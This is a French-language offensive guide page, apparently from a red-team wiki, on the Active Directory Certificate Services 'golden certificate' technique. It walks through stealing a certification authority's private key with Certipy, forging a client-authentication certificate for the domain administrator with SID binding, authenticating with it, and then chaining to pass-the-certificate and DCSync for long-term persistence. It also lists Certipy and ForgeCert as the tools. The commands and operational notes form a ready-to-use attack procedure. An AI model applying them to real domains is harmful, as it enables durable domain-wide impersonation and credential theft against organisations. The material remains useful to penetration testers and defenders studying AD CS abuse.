Une fois que vous détenez le rôle d'administrateur local sur le serveur CA, vous pouvez voler la clé privée de la CA elle-même. Avec cette clé, vous signez des certificats d'authentification client arbitraires pour n'importe quel principal, entièrement hors ligne, et le domaine leur fait confiance car la CA qui les a émis figure dans le magasin NTAuth. C'est l'équivalent certificat d'un golden ticket : non pas une escalade unique mais une usurpation durable, à l'échelle du domaine qui survit aux réinitialisations de mot de passe et dure jusqu'à l'expiration du certificat de la CA lui-même.
Voler la clé et forger#
# 1. Back up the CA certificate and private key (needs local admin on the CA host)
certipy ca -backup -ca 'EXAMPLE-CA' -u user@example.local -p <password> -target ca.example.local
# 2. Forge a certificate for any principal, signed by the stolen CA key, offline.
# -sid gives the strong SID binding that Full Enforcement requires; -crl supplies a CDP the KDC wants
certipy forge -ca-pfx EXAMPLE-CA.pfx -upn administrator@example.local \
-sid <administrator-SID> -crl 'ldap:///' -out administrator_forged.pfx
# 3. Authenticate with the forged certificate
certipy auth -pfx administrator_forged.pfx -dc-ip <dc>
Notes d'exploitation#
- Le certificat forgé ne nécessite aucune interaction avec la CA après le vol de la clé, il est donc invisible pour le pipeline d'émission et fonctionne tant que le certificat de la CA est valide (souvent des années).
- C'est de la persistance, pas seulement de l'escalade : reforger pour n'importe quel utilisateur à tout moment, y compris après que la cible a changé son mot de passe, en fait donc un point d'ancrage de long terme privilégié une fois une CA compromise.
- Forgez pour un administrateur de domaine ou un DC et associez au pass-the-certificate ou à Schannel pour vous authentifier, puis DCSync.
- Cela découle naturellement de la prise de contrôle de la CA via l'abus de configuration de la CA ou de contrôle d'accès, traitez donc la compromission d'un serveur CA comme un signal pour récupérer la clé à des fins de persistance.
Outils#
- Certipy (
ca -backup,forge,auth) : extraire la clé de la CA et forger des certificats. - ForgeCert (GhostPack) : forger un certificat à partir d'un PFX de CA volé.